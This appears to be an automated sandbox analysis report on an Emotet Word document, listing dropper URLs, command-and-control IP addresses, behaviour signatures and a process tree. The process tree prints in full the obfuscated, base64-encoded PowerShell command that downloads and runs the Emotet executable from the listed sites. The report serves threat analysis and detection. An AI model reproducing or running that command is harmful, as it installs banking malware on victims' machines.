Analysis

  • max time kernel
    138s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    21/09/2020, 07:53

General

  • Target
    emotet_e1_3c77e9b86f43927559bb92012199d94db254d6764781f37a90d30ae0361d032d_2020-09-21__075143482102._doc.doc
  • Size 224KB
  • Sample200921-xmj6sdds26
  • SHA256 3c77e9b86f43927559bb92012199d94db254d6764781f37a90d30ae0361d032d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://wynn838.com/wp-content/B/

  • exe.dropper

    https://menuazores.com/root/4eq/

  • exe.dropper

    https://www.lunalysis.com/images/P/

  • exe.dropper

    https://fedo.xyz/wp-admin/AaD/

  • exe.dropper

    http://themsc.net/cctqv/M/

  • exe.dropper

    http://earthinnovation.org/pcimonitor/d/

  • exe.dropper

    http://pastaciyiz.biz/wp-includes/1/

Extracted

Family
  • emotet

C2
  • 91.105.94.200:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 189.2.177.210:443

  • 181.30.61.163:443

  • 185.178.10.77:80

  • 199.203.62.165:80

  • 177.73.0.98:443

  • 87.106.46.107:8080

  • 5.196.35.138:7080

  • 5.189.178.202:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 191.182.6.118:80

  • 96.227.52.8:443

  • 186.103.141.250:443

  • 50.28.51.143:8080

  • 111.67.12.221:8080

  • 50.121.220.50:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_3c77e9b86f43927559bb92012199d94db254d6764781f37a90d30ae0361d032d_2020-09-21__075143482102._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3952
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABOAHoAaABzADIAegB5AD0AKAAoACcAVgB3ACcAKwAnAGoAdwB6ACcAKQArACcAYQB6ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBQAHIAbwBmAEkAbABlAFwAYQA0AHYAZwBFADYAUwBcAHgAMQBpAFkAawBYAHMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQByAGkAYABUAHkAUABgAFIAbwBUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAnACsAJwAxADEALAAnACkAKwAnACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQASABxADEAcgA1ADIAegAgAD0AIAAoACgAJwBEAGcAJwArACcAbAB4ACcAKQArACgAJwBqAG4AJwArACcAawAnACkAKwAnAGEAOQAnACkAOwAkAFcAZwBiAGIANgB5ADAAPQAoACgAJwBZAGYAJwArACcAdQAnACkAKwAoACcAaAB2ACcAKwAnAGwAZQAnACkAKQA7ACQAVwBwADkAMwA3AGsAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQAnACsAKAAnAEEAJwArACcANAB2ACcAKQArACcAZwBlADYAcwB7ADAAJwArACcAfQAnACsAJwBYADEAJwArACcAaQAnACsAKAAnAHkAawAnACsAJwB4ACcAKQArACcAcwB7ADAAfQAnACkAIAAgAC0AZgBbAEMASABhAFIAXQA5ADIAKQArACQASABxADEAcgA1ADIAegArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASgBzAHYANwBuADgAYQA9ACgAJwBOAGQAJwArACcAbQAnACsAKAAnADcAJwArACcAeQBmAG8AJwApACkAOwAkAFQAYgBjAGIAOQB5AHIAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AVwBFAEIAYwBMAGkARQBOAHQAOwAkAEQAdAAyAHUAYwBvAHIAPQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwB3ACcAKwAnAHkAJwApACsAKAAnAG4AbgA4ACcAKwAnADMAOAAnACsAJwAuAGMAbwAnACsAJwBtAC8AdwBwACcAKwAnAC0AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBuAHQAZQBuACcAKQArACgAJwB0AC8AQgAvACcAKwAnACoAJwArACcAaAAnACsAJwB0AHQAcABzADoALwAnACsAJwAvAG0AJwApACsAKAAnAGUAbgB1AGEAJwArACcAegBvACcAKwAnAHIAJwApACsAJwBlAHMAJwArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHIAJwArACcAbwAnACkAKwAoACcAbwB0ACcAKwAnAC8ANABlAHEALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACcAcwA6ACcAKQArACcALwAvACcAKwAnAHcAJwArACgAJwB3ACcAKwAnAHcALgBsAHUAbgBhACcAKwAnAGwAJwApACsAKAAnAHkAcwBpAHMALgAnACsAJwBjAG8AbQAvAGkAbQBhAGcAZQAnACsAJwBzACcAKQArACgAJwAvACcAKwAnAFAALwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAnAHAAcwAnACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBmAGUAJwArACcAZABvAC4AJwApACsAJwB4ACcAKwAnAHkAJwArACgAJwB6AC8AJwArACcAdwAnACkAKwAnAHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpACcAKwAnAG4ALwBBAGEAJwArACcARAAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAHQAaAAnACsAJwBlAG0AJwArACcAcwAnACsAJwBjAC4AbgBlACcAKQArACcAdAAnACsAKAAnAC8AYwBjAHQAJwArACcAcQB2ACcAKQArACgAJwAvAE0ALwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AZQAnACsAJwBhACcAKQArACgAJwByAHQAJwArACcAaABpAG4AJwArACcAbgBvAHYAYQB0ACcAKQArACcAaQAnACsAKAAnAG8AbgAuAG8AcgBnACcAKwAnAC8AcAAnACkAKwAoACcAYwBpACcAKwAnAG0AbwBuACcAKQArACcAaQB0ACcAKwAoACcAbwByAC8AZAAvACcAKwAnACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AcABhAHMAdABhACcAKQArACgAJwBjAGkAJwArACcAeQBpAHoALgAnACkAKwAoACcAYgBpACcAKwAnAHoALwB3ACcAKwAnAHAALQBpAG4AYwBsAHUAZAAnACsAJwBlACcAKQArACgAJwBzAC8AMQAnACsAJwAvACcAKQApAC4AIgBzAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE8ANgA2AHMANAA0ADMAPQAoACcAUgA4ACcAKwAoACcAYwB1AHAAMAAnACsAJwB3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUwA2AHIAbABwADUAdQAgAGkAbgAgACQARAB0ADIAdQBjAG8AcgApAHsAdAByAHkAewAkAFQAYgBjAGIAOQB5AHIALgAiAEQAbwBXAE4AbABPAGAAQQBkAGAARgBJAGwAZQAiACgAJABTADYAcgBsAHAANQB1ACwAIAAkAFcAcAA5ADMANwBrAHoAKQA7ACQATgB1AGEANABwAGIAcwA9ACgAJwBFACcAKwAoACcANAB0ADIAJwArACcAbQBjAGUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAVwBwADkAMwA3AGsAegApAC4AIgBMAGAAZQBOAEcAdABoACIAIAAtAGcAZQAgADMANgAxADMANQApACAAewAuACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABXAHAAOQAzADcAawB6ACkAOwAkAEoAeAAxAHIAdwA4AHUAPQAoACgAJwBaAGkAcgA1AHIAJwArACcANQAnACkAKwAnAHUAJwApADsAYgByAGUAYQBrADsAJABKAG0AZQBlAHYAMgB0AD0AKAAoACcAVwAnACsAJwBtAGEAawBiACcAKwAnAGoAJwApACsAJwB2ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwAzAGIAbQA4AHMAOAA9ACgAKAAnAE0AZABxACcAKwAnADUAJwApACsAKAAnAGEAJwArACcAZQB6ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3436
    • C:\Users\Admin\A4vge6s\X1iykxs\Dglxjnka9.exe
      "C:\Users\Admin\A4vge6s\X1iykxs\Dglxjnka9.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\SysWOW64\iedkcs32\l2nacp.exe
        "C:\Windows\SysWOW64\iedkcs32\l2nacp.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:2084

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1152-15-0x0000000000590000-0x00000000005A0000-memory.dmp

        memory/1152-14-0x00000000005D0000-0x00000000005E2000-memory.dmp

        memory/2084-18-0x00000000005A0000-0x00000000005B2000-memory.dmp

        memory/2084-19-0x00000000001F0000-0x0000000000200000-memory.dmp

        memory/3436-10-0x00000205E88E0000-0x00000205E88E1000-memory.dmp

        memory/3436-9-0x00000205E81B0000-0x00000205E81B1000-memory.dmp

        memory/3436-8-0x00007FFB39580000-0x00007FFB39F6C000-memory.dmp

        memory/3952-0-0x00007FFB46530000-0x00007FFB46BF6000-memory.dmp